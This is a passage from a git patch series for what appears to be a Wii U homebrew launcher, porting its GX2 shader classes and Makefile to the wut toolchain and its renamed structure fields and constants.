shaderInstance; - } - static void destroyInstance() { - if(shaderInstance) { - delete shaderInstance; - shaderInstance = NULL; - } - } - - void setShaders(void) const - { - fetchShader->setShader(); - vertexShader.setShader(); - pixelShader.setShader(); - } - - void setAttributeBuffer(const u32 & vtxCount = 0, const f32 * posVtxs_in = NULL, const f32 * texCoords_in = NULL, const u8 * colorVtxs_in = NULL) const - { - if(posVtxs_in && texCoords_in && vtxCount) - { - VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); - VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in); - VertexShader::setAttributeBuffer(2, vtxCount * cuColorAttrSize, cuColorAttrSize, colorVtxs_in); - } - else { - //! use default quad vertex and texture coordinates if nothing is passed - VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); - VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); - VertexShader::setAttributeBuffer(2, ciColorVtxsSize, cuColorAttrSize, colorVtxs); - } - } - - void setProjectionMtx(const glm::mat4 & mtx) - { - VertexShader::setUniformReg(projectionMatrixLocation, 16, &mtx[0][0]); - } - void setViewMtx(const glm::mat4 & mtx) - { - VertexShader::setUniformReg(viewMatrixLocation, 16, &mtx[0][0]); - } - void setModelViewMtx(const glm::mat4 & mtx) - { - VertexShader::setUniformReg(modelMatrixLocation, 16, &mtx[0][0]); - } - - void setBlurBorder(const float & blurBorderSize) - { - PixelShader::setUniformReg(blurLocation, 4, &blurBorderSize); - } - void setColorIntensity(const glm::vec4 & vec) - { - PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); - } - void setAlphaFadeOut(const glm::vec4 & vec) - { - PixelShader::setUniformReg(fadeOutLocation, 4, &vec[0]); - } - void setFractalColor(const int & fractalColorEnable) - { - PixelShader::setUniformReg(fractalLocation, 4, &fractalColorEnable); - } -}; - -#endif // SHADER_FRACTAL_COLOR_H_ diff --git a/src/video/shaders/Texture2DShader.cpp b/src/video/shaders/Texture2DShader.cpp index ad7ac52..a1973da 100644 --- a/src/video/shaders/Texture2DShader.cpp +++ b/src/video/shaders/Texture2DShader.cpp @@ -204,11 +204,11 @@ Texture2DShader::Texture2DShader() blurLocation = 0; colorIntensityLocation = 4; - pixelShader.addUniformVar((GX2UniformVar){ "unf_blur_texture_direction", GX2_VAR_TYPE_VEC3, 1, blurLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_blur_texture_direction", GX2_SHADER_VAR_TYPE_FLOAT3, 1, blurLocation, -1 }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_SHADER_VAR_TYPE_FLOAT4, 1, colorIntensityLocation, -1 }); samplerLocation = 0; - pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); + pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_VAR_TYPE_SAMPLER_2D, samplerLocation }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); @@ -216,18 +216,18 @@ Texture2DShader::Texture2DShader() angleLocation = 0; offsetLocation = 4; scaleLocation = 8; - vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_VAR_TYPE_FLOAT, 1, angleLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_VAR_TYPE_VEC3, 1, offsetLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_VAR_TYPE_VEC3, 1, scaleLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_SHADER_VAR_TYPE_FLOAT, 1, angleLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_SHADER_VAR_TYPE_FLOAT3, 1, offsetLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_SHADER_VAR_TYPE_FLOAT3, 1, scaleLocation, -1 }); positionLocation = 0; texCoordLocation = 1; - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT3, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_SHADER_VAR_TYPE_FLOAT2, 0, texCoordLocation }); //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); @@ -243,14 +243,14 @@ Texture2DShader::Texture2DShader() posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVtxs, ciPositionVtxsSize); i = 0; texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, texCoords, ciTexCoordsVtxsSize); } Texture2DShader::~Texture2DShader() diff --git a/src/video/shaders/Texture2DShader.h b/src/video/shaders/Texture2DShader.h index cddeee0..3ce80de 100644 --- a/src/video/shaders/Texture2DShader.h +++ b/src/video/shaders/Texture2DShader.h @@ -104,8 +104,8 @@ public: } void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { - GX2SetPixelTexture(texture, samplerLocation); - GX2SetPixelSampler(sampler, samplerLocation); + GX2SetPixelTexture((GX2Texture*)texture, samplerLocation); + GX2SetPixelSampler((GX2Sampler*)sampler, samplerLocation); } }; diff --git a/src/video/shaders/VertexShader.h b/src/video/shaders/VertexShader.h index 18dc0fe..bcd0f13 100644 --- a/src/video/shaders/VertexShader.h +++ b/src/video/shaders/VertexShader.h @@ -31,7 +31,7 @@ public: if(vertexShader) { memset(vertexShader, 0, sizeof(GX2VertexShader)); - vertexShader->shader_mode = GX2_SHADER_MODE_UNIFORM_REGISTER; + vertexShader->mode = GX2_SHADER_MODE_UNIFORM_REGISTER; } } @@ -40,38 +40,38 @@ public: if(vertexShader) { - if(vertexShader->shader_data) - free(vertexShader->shader_data); + if(vertexShader->program) + free(vertexShader->program); - for(u32 i = 0; i < vertexShader->uniform_blocks_count; i++) - free((void*)vertexShader->uniform_block[i].name); + for(u32 i = 0; i < vertexShader->uniformBlockCount; i++) + free((void*)vertexShader->uniformBlocks[i].name); - if(vertexShader->uniform_block) - free((void*)vertexShader->uniform_block); + if(vertexShader->uniformBlocks) + free((void*)vertexShader->uniformBlocks); - for(u32 i = 0; i < vertexShader->uniform_vars_count; i++) - free((void*)vertexShader->uniform_var[i].name); + for(u32 i = 0; i < vertexShader->uniformVarCount; i++) + free((void*)vertexShader->uniformVars[i].name); - if(vertexShader->uniform_var) - free((void*)vertexShader->uniform_var); + if(vertexShader->uniformVars) + free((void*)vertexShader->uniformVars); - if(vertexShader->initial_value) - free((void*)vertexShader->initial_value); + if(vertexShader->initialValues) + free((void*)vertexShader->initialValues); - for(u32 i = 0; i < vertexShader->sampler_vars_count; i++) - free((void*)vertexShader->sampler_var[i].name); + for(u32 i = 0; i < vertexShader->samplerVarCount; i++) + free((void*)vertexShader->samplerVars[i].name); - if(vertexShader->sampler_var) - free((void*)vertexShader->sampler_var); + if(vertexShader->samplerVars) + free((void*)vertexShader->samplerVars); - for(u32 i = 0; i < vertexShader->attribute_vars_count; i++) - free((void*)vertexShader->attribute_var[i].name); + for(u32 i = 0; i < vertexShader->attribVarCount; i++) + free((void*)vertexShader->attribVars[i].name); - if(vertexShader->attribute_var) - free((void*)vertexShader->attribute_var); + if(vertexShader->attribVars) + free((void*)vertexShader->attribVars); - if(vertexShader->loops_data) - free((void*)vertexShader->loops_data); + if(vertexShader->loopVars) + free((void*)vertexShader->loopVars); free(vertexShader); } @@ -83,15 +83,15 @@ public: return; //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100 - vertexShader->shader_size = programSize; - vertexShader->shader_data = memalign(GX2_SHADER_ALIGNMENT, vertexShader->shader_size); - if(vertexShader->shader_data) + vertexShader->size = programSize; + vertexShader->program = (u8*) memalign(GX2_SHADER_ALIGNMENT, vertexShader->size); + if(vertexShader->program) { - memcpy(vertexShader->shader_data, program, vertexShader->shader_size); - GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, vertexShader->shader_data, vertexShader->shader_size); + memcpy(vertexShader->program, program, vertexShader->size); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_SHADER, vertexShader->program, vertexShader->size); } - memcpy(vertexShader->regs, regs, regsSize); + memcpy(&vertexShader->regs, regs, regsSize); } void addUniformVar(const GX2UniformVar & var) @@ -99,23 +99,23 @@ public: if(!vertexShader) return; - u32 idx = vertexShader->uniform_vars_count; + u32 idx = vertexShader->uniformVarCount; - GX2UniformVar* newVar = (GX2UniformVar*) malloc((vertexShader->uniform_vars_count + 1) * sizeof(GX2UniformVar)); + GX2UniformVar* newVar = (GX2UniformVar*) malloc((vertexShader->uniformVarCount + 1) * sizeof(GX2UniformVar)); if(newVar) { - if(vertexShader->uniform_vars_count > 0) + if(vertexShader->uniformVarCount > 0) { - memcpy(newVar, vertexShader->uniform_var, vertexShader->uniform_vars_count * sizeof(GX2UniformVar)); - free(vertexShader->uniform_var); + memcpy(newVar, vertexShader->uniformVars, vertexShader->uniformVarCount * sizeof(GX2UniformVar)); + free(vertexShader->uniformVars); } - vertexShader->uniform_var = newVar; + vertexShader->uniformVars = newVar; - memcpy(vertexShader->uniform_var + idx, &var, sizeof(GX2UniformVar)); - vertexShader->uniform_var[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)vertexShader->uniform_var[idx].name, var.name); + memcpy(vertexShader->uniformVars + idx, &var, sizeof(GX2UniformVar)); + vertexShader->uniformVars[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)vertexShader->uniformVars[idx].name, var.name); - vertexShader->uniform_vars_count++; + vertexShader->uniformVarCount++; } } @@ -124,28 +124,28 @@ public: if(!vertexShader) return; - u32 idx = vertexShader->attribute_vars_count; + u32 idx = vertexShader->attribVarCount; - GX2AttribVar* newVar = (GX2AttribVar*) malloc((vertexShader->attribute_vars_count + 1) * sizeof(GX2AttribVar)); + GX2AttribVar* newVar = (GX2AttribVar*) malloc((vertexShader->attribVarCount + 1) * sizeof(GX2AttribVar)); if(newVar) { - if(vertexShader->attribute_vars_count > 0) + if(vertexShader->attribVarCount > 0) { - memcpy(newVar, vertexShader->attribute_var, vertexShader->attribute_vars_count * sizeof(GX2AttribVar)); - free(vertexShader->attribute_var); + memcpy(newVar, vertexShader->attribVars, vertexShader->attribVarCount * sizeof(GX2AttribVar)); + free(vertexShader->attribVars); } - vertexShader->attribute_var = newVar; + vertexShader->attribVars = newVar; - memcpy(vertexShader->attribute_var + idx, &var, sizeof(GX2AttribVar)); - vertexShader->attribute_var[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)vertexShader->attribute_var[idx].name, var.name); + memcpy(vertexShader->attribVars + idx, &var, sizeof(GX2AttribVar)); + vertexShader->attribVars[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)vertexShader->attribVars[idx].name, var.name); - vertexShader->attribute_vars_count++; + vertexShader->attribVarCount++; } } static inline void setAttributeBuffer(u32 bufferIdx, u32 bufferSize, u32 stride, const void * buffer) { - GX2SetAttribBuffer(bufferIdx, bufferSize, stride, buffer); + GX2SetAttribBuffer(bufferIdx, bufferSize, stride, (void*)buffer); } GX2VertexShader *getVertexShader() const { @@ -167,7 +167,7 @@ public: } static void setUniformReg(u32 location, u32 size, const void * reg) { - GX2SetVertexUniformReg(location, size, reg); + GX2SetVertexUniformReg(location, size, (uint32_t*)reg); } protected: u32 attributesCount; From 00123b96473345c50cfcd9f52b77e3f3023a0307 Mon Sep 17 00:00:00 2001 From: dimok789 Date: Wed, 19 Oct 2016 17:57:49 +0200 Subject: [PATCH 2/6] git ignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 2a0e2de..4732176 100644 --- a/.gitignore +++ b/.gitignore @@ -12,3 +12,4 @@ /udp_debug_reader/obj /udp_debug_reader/GeckoLog.txt /installer/sd_loader.h +/*.rpx From 31121cbce93945dbd1b891eb0088333f7acc8383 Mon Sep 17 00:00:00 2001 From: dimok789 Date: Wed, 19 Oct 2016 17:56:50 +0200 Subject: [PATCH 3/6] initial changes for an rpx homebrew launcher --- Makefile | 225 ++--- filelist.sh | 16 +- src/Application.cpp | 117 ++- src/Application.h | 6 + src/common/common.h | 2 +- src/common/fs_defs.h | 62 -- src/common/gx2_ext.h | 177 ++++ src/common/types.h | 2 +- src/dynamic_libs/ax_functions.c | 10 +- src/dynamic_libs/ax_functions.h | 23 +- src/dynamic_libs/exports.h | 26 + src/dynamic_libs/fs_functions.c | 120 --- src/dynamic_libs/fs_functions.h | 87 -- src/dynamic_libs/gx2_functions.c | 162 ---- src/dynamic_libs/gx2_functions.h | 205 ----- src/dynamic_libs/gx2_types.h | 699 --------------- src/dynamic_libs/os_functions.c | 148 ---- src/dynamic_libs/os_functions.h | 119 --- src/dynamic_libs/padscore_functions.c | 4 +- src/dynamic_libs/padscore_functions.h | 2 +- src/dynamic_libs/socket_functions.c | 67 -- src/dynamic_libs/socket_functions.h | 99 --- src/dynamic_libs/sys_functions.c | 40 - src/dynamic_libs/sys_functions.h | 42 - src/dynamic_libs/vpad_functions.c | 37 - src/dynamic_libs/vpad_functions.h | 101 --- src/entry.c | 8 +- src/fs/CFile.hpp | 2 +- src/fs/fs_utils.c | 10 +- src/fs/fs_utils.h | 2 +- src/fs/sd_fat_devoptab.c | 1019 ---------------------- src/fs/sd_fat_devoptab.h | 38 - src/gui/FreeTypeGX.cpp | 19 +- src/gui/FreeTypeGX.h | 3 +- src/gui/GuiElement.h | 3 +- src/gui/GuiImage.cpp | 8 +- src/gui/GuiImageAsync.cpp | 2 +- src/gui/GuiImageAsync.h | 1 - src/gui/GuiImageData.cpp | 44 +- src/gui/GuiImageData.h | 9 +- src/gui/GuiParticleImage.cpp | 6 +- src/gui/GuiSound.cpp | 1 - src/gui/GuiSound.h | 4 +- src/gui/GuiText.cpp | 4 +- src/gui/GuiText.h | 1 + src/gui/GuiTrigger.h | 3 +- src/gui/VPadController.h | 22 +- src/main.cpp | 36 +- src/main.h | 1 - src/menu/HomebrewLaunchWindow.cpp | 4 +- src/menu/HomebrewLoader.h | 2 +- src/menu/MainWindow.cpp | 2 - src/menu/TcpReceiver.cpp | 7 +- src/menu/TcpReceiver.h | 1 - src/resources/Resources.cpp | 1 - src/resources/Resources.h | 2 +- src/resources/filelist.h | 64 +- src/sounds/BufferCircle.cpp | 1 + src/sounds/BufferCircle.hpp | 2 +- src/sounds/Mp3Decoder.cpp | 2 +- src/sounds/OggDecoder.cpp | 1 - src/sounds/SoundDecoder.cpp | 3 +- src/sounds/SoundHandler.cpp | 25 +- src/sounds/SoundHandler.hpp | 2 +- src/sounds/Voice.h | 68 +- src/system/CMutex.h | 6 +- src/system/CThread.h | 13 +- src/system/exception_handler.c | 15 +- src/system/memory.c | 75 +- src/utils/HomebrewXML.cpp | 2 +- src/utils/StringTools.cpp | 2 +- src/utils/StringTools.h | 2 +- src/utils/logger.c | 5 +- src/utils/net.c | 2 +- src/utils/utils.c | 17 + src/video/CVideo.cpp | 164 ++-- src/video/CVideo.h | 28 +- src/video/shaders/ColorShader.cpp | 18 +- src/video/shaders/FXAAShader.cpp | 16 +- src/video/shaders/FXAAShader.h | 4 +- src/video/shaders/FetchShader.h | 8 +- src/video/shaders/PixelShader.h | 92 +- src/video/shaders/Shader.h | 33 +- src/video/shaders/Shader3D.cpp | 26 +- src/video/shaders/Shader3D.h | 4 +- src/video/shaders/ShaderFractalColor.cpp | 373 -------- src/video/shaders/ShaderFractalColor.h | 124 --- src/video/shaders/Texture2DShader.cpp | 24 +- src/video/shaders/Texture2DShader.h | 4 +- src/video/shaders/VertexShader.h | 102 +-- 90 files changed, 900 insertions(+), 4290 deletions(-) delete mode 100644 src/common/fs_defs.h create mode 100644 src/common/gx2_ext.h create mode 100644 src/dynamic_libs/exports.h delete mode 100644 src/dynamic_libs/fs_functions.c delete mode 100644 src/dynamic_libs/fs_functions.h delete mode 100644 src/dynamic_libs/gx2_functions.c delete mode 100644 src/dynamic_libs/gx2_functions.h delete mode 100644 src/dynamic_libs/gx2_types.h delete mode 100644 src/dynamic_libs/os_functions.c delete mode 100644 src/dynamic_libs/os_functions.h delete mode 100644 src/dynamic_libs/socket_functions.c delete mode 100644 src/dynamic_libs/socket_functions.h delete mode 100644 src/dynamic_libs/sys_functions.c delete mode 100644 src/dynamic_libs/sys_functions.h delete mode 100644 src/dynamic_libs/vpad_functions.c delete mode 100644 src/dynamic_libs/vpad_functions.h delete mode 100644 src/fs/sd_fat_devoptab.c delete mode 100644 src/fs/sd_fat_devoptab.h create mode 100644 src/utils/utils.c delete mode 100644 src/video/shaders/ShaderFractalColor.cpp delete mode 100644 src/video/shaders/ShaderFractalColor.h diff --git a/Makefile b/Makefile index 0f9918e..d4c4d9b 100644 --- a/Makefile +++ b/Makefile @@ -2,192 +2,107 @@ # Clear the implicit built in rules #--------------------------------------------------------------------------------- .SUFFIXES: -#--------------------------------------------------------------------------------- -ifeq ($(strip $(DEVKITPPC)),) -$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") + +ifeq ($(strip $(WUT_ROOT)),) +$(error "Please ensure WUT_ROOT is in your environment.") endif -ifeq ($(strip $(DEVKITPRO)),) -$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") + +ifeq ($(findstring CYGWIN,$(shell uname -s)),CYGWIN) +ROOT := $(shell cygpath -w ${CURDIR}) +WUT_ROOT := $(shell cygpath -w ${WUT_ROOT}) +else +ROOT := $(CURDIR) endif -export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) -export LIBOGC_INC := $(DEVKITPRO)/libogc/include -export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii + + export PORTLIBS := $(DEVKITPRO)/portlibs/ppc -PREFIX := powerpc-eabi- +include $(WUT_ROOT)/rules/rpl.mk -export AS := $(PREFIX)as -export CC := $(PREFIX)gcc -export CXX := $(PREFIX)g++ -export AR := $(PREFIX)ar -export OBJCOPY := $(PREFIX)objcopy +AS := $(PREFIX)as -#--------------------------------------------------------------------------------- -# TARGET is the name of the output -# BUILD is the directory where object files & intermediate files will be placed -# SOURCES is a list of directories containing source code -# INCLUDES is a list of directories containing extra header files -#--------------------------------------------------------------------------------- -TARGET := homebrew_launcher -BUILD := build -BUILD_DBG := $(TARGET)_dbg -SOURCES := src \ - src/dynamic_libs \ - src/fs \ - src/game \ - src/gui \ - src/kernel \ - src/loader \ - src/menu \ - src/network \ - src/patcher \ - src/resources \ - src/settings \ - src/sounds \ - src/system \ - src/utils \ - src/video \ - src/video/shaders -DATA := data \ - data/images \ - data/fonts \ - data/sounds +TARGET := $(notdir $(CURDIR)) +BUILD := build +SOURCE := src \ + src/dynamic_libs \ + src/fs \ + src/game \ + src/gui \ + src/kernel \ + src/loader \ + src/menu \ + src/network \ + src/patcher \ + src/resources \ + src/settings \ + src/sounds \ + src/system \ + src/utils \ + src/video \ + src/video/shaders +INCLUDE := src +DATA := data \ + data/images \ + data/fonts \ + data/sounds +LIBS := -lgcc -lcrt -lcoreinit -lproc_ui -lnsysnet -lsndcore2 -lvpad -lgx2 -lgd -lpng -lz -lfreetype -lmad -lvorbisidec -INCLUDES := src +CFLAGS += -O3 -std=gnu11 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing +CXXFLAGS += -O3 -std=gnu++11 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing -#--------------------------------------------------------------------------------- -# options for code generation -#--------------------------------------------------------------------------------- -CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ - -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) -ASFLAGS := -mregnames -LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections - -#--------------------------------------------------------------------------------- -Q := @ -MAKEFLAGS += --no-print-directory -#--------------------------------------------------------------------------------- -# any extra libraries we wish to link with the project -#--------------------------------------------------------------------------------- -LIBS := -lgcc -lgd -lpng -lz -lfreetype -lmad -lvorbisidec - -#--------------------------------------------------------------------------------- -# list of directories containing libraries, this must be the top level containing -# include and lib -#--------------------------------------------------------------------------------- -LIBDIRS := $(CURDIR) \ - $(DEVKITPPC)/lib \ - $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 - - -#--------------------------------------------------------------------------------- -# no real need to edit anything past this point unless you need to add additional -# rules for different file extensions -#--------------------------------------------------------------------------------- ifneq ($(BUILD),$(notdir $(CURDIR))) -#--------------------------------------------------------------------------------- -export PROJECTDIR := $(CURDIR) -export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) -export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ - $(foreach dir,$(DATA),$(CURDIR)/$(dir)) -export DEPSDIR := $(CURDIR)/$(BUILD) -#--------------------------------------------------------------------------------- -# automatically build a list of object files for our project -#--------------------------------------------------------------------------------- -FILELIST := $(shell bash ./filelist.sh) -CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) -CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) -sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) -SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) +export OUTPUT := $(ROOT)/$(TARGET) +export VPATH := $(foreach dir,$(SOURCE),$(ROOT)/$(dir)) \ + $(foreach dir,$(DATA),$(ROOT)/$(dir)) +export BUILDDIR := $(ROOT) +export DEPSDIR := $(BUILDDIR) + +CFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.c))) +CXXFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.cpp))) +SFILES := $(foreach dir,$(SOURCE),$(notdir $(wildcard $(dir)/*.S))) BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) -TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) -PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) -#--------------------------------------------------------------------------------- -# use CXX for linking C++ projects, CC for standard C -#--------------------------------------------------------------------------------- -ifeq ($(strip $(CPPFILES)),) - export LD := $(CC) +ifeq ($(strip $(CXXFILES)),) +export LD := $(CC) else - export LD := $(CXX) +export LD := $(CXX) endif -export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ - $(sFILES:.s=.o) $(SFILES:.S=.o) \ - $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) - -#--------------------------------------------------------------------------------- -# build a list of include paths -#--------------------------------------------------------------------------------- -export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ - $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ - -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ - -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 +export OFILES := $(CFILES:.c=.o) \ + $(CXXFILES:.cpp=.o) \ + $(SFILES:.S=.o) \ + $(addsuffix .o,$(BINFILES)) +export INCLUDES := $(foreach dir,$(INCLUDE),-I$(ROOT)/$(dir)) \ + -I$(ROOT)/$(BUILD) \ + -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 #--------------------------------------------------------------------------------- # build a list of library paths #--------------------------------------------------------------------------------- -export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ - -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib +export LIB_DIRS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ + -L$(PORTLIBS)/lib -export OUTPUT := $(CURDIR)/$(TARGET) -.PHONY: $(BUILD) clean install +.PHONY: $(BUILD) clean -#--------------------------------------------------------------------------------- $(BUILD): @[ -d $@ ] || mkdir -p $@ - @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + @$(MAKE) --no-print-directory -C $(BUILD) -f $(ROOT)/Makefile -#--------------------------------------------------------------------------------- clean: - @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf + @echo "[RM] $(notdir $(OUTPUT))" + @rm -rf $(BUILD) $(OUTPUT).elf $(OUTPUT).rpx $(OUTPUT).a -#--------------------------------------------------------------------------------- else -DEPENDS := $(OFILES:.o=.d) +# workaround as wut overwrites the LIBPATHS with its rules -> not cool +export LIBPATHS := $(LIBPATHS) $(LIB_DIRS) -#--------------------------------------------------------------------------------- -# main targets -#--------------------------------------------------------------------------------- -$(OUTPUT).elf: $(OFILES) +DEPENDS := $(OFILES:.o=.d) -#--------------------------------------------------------------------------------- -# This rule links in binary data with the .jpg extension -#--------------------------------------------------------------------------------- -%.elf: link.ld $(OFILES) - @echo "linking ... $(TARGET).elf" - $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) - $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ +$(OUTPUT).rpx: $(OUTPUT).elf +$(OUTPUT).elf: $(OFILES) -../data/loader.bin: - $(MAKE) -C ../loader clean - $(MAKE) -C ../loader -#--------------------------------------------------------------------------------- -%.a: -#--------------------------------------------------------------------------------- - @echo $(notdir $@) - @rm -f $@ - @$(AR) -rc $@ $^ - -#--------------------------------------------------------------------------------- -%.o: %.cpp - @echo $(notdir $<) - @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.c - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) - -#--------------------------------------------------------------------------------- -%.o: %.S - @echo $(notdir $<) - @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) #--------------------------------------------------------------------------------- %.png.o : %.png diff --git a/filelist.sh b/filelist.sh index 87cbee1..15addd3 100644 --- a/filelist.sh +++ b/filelist.sh @@ -42,15 +42,13 @@ cat < $outFile #ifndef _FILELIST_H_ #define _FILELIST_H_ -#include - typedef struct _RecourceFile { - const char *filename; - const u8 *DefaultFile; - const u32 &DefaultFileSize; - u8 *CustomFile; - u32 CustomFileSize; + const char *filename; + const unsigned char *DefaultFile; + const unsigned int &DefaultFileSize; + unsigned char *CustomFile; + unsigned int CustomFileSize; } RecourceFile; EOF @@ -59,8 +57,8 @@ for i in ${files[@]} do filename=${i%.*} extension=${i##*.} - echo 'extern const u8 '$filename'_'$extension'[];' >> $outFile - echo 'extern const u32 '$filename'_'$extension'_size;' >> $outFile + echo 'extern const unsigned char '$filename'_'$extension'[];' >> $outFile + echo 'extern const unsigned int '$filename'_'$extension'_size;' >> $outFile echo '' >> $outFile done diff --git a/src/Application.cpp b/src/Application.cpp index 8551e14..a51d344 100644 --- a/src/Application.cpp +++ b/src/Application.cpp @@ -14,14 +14,17 @@ * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ +#include 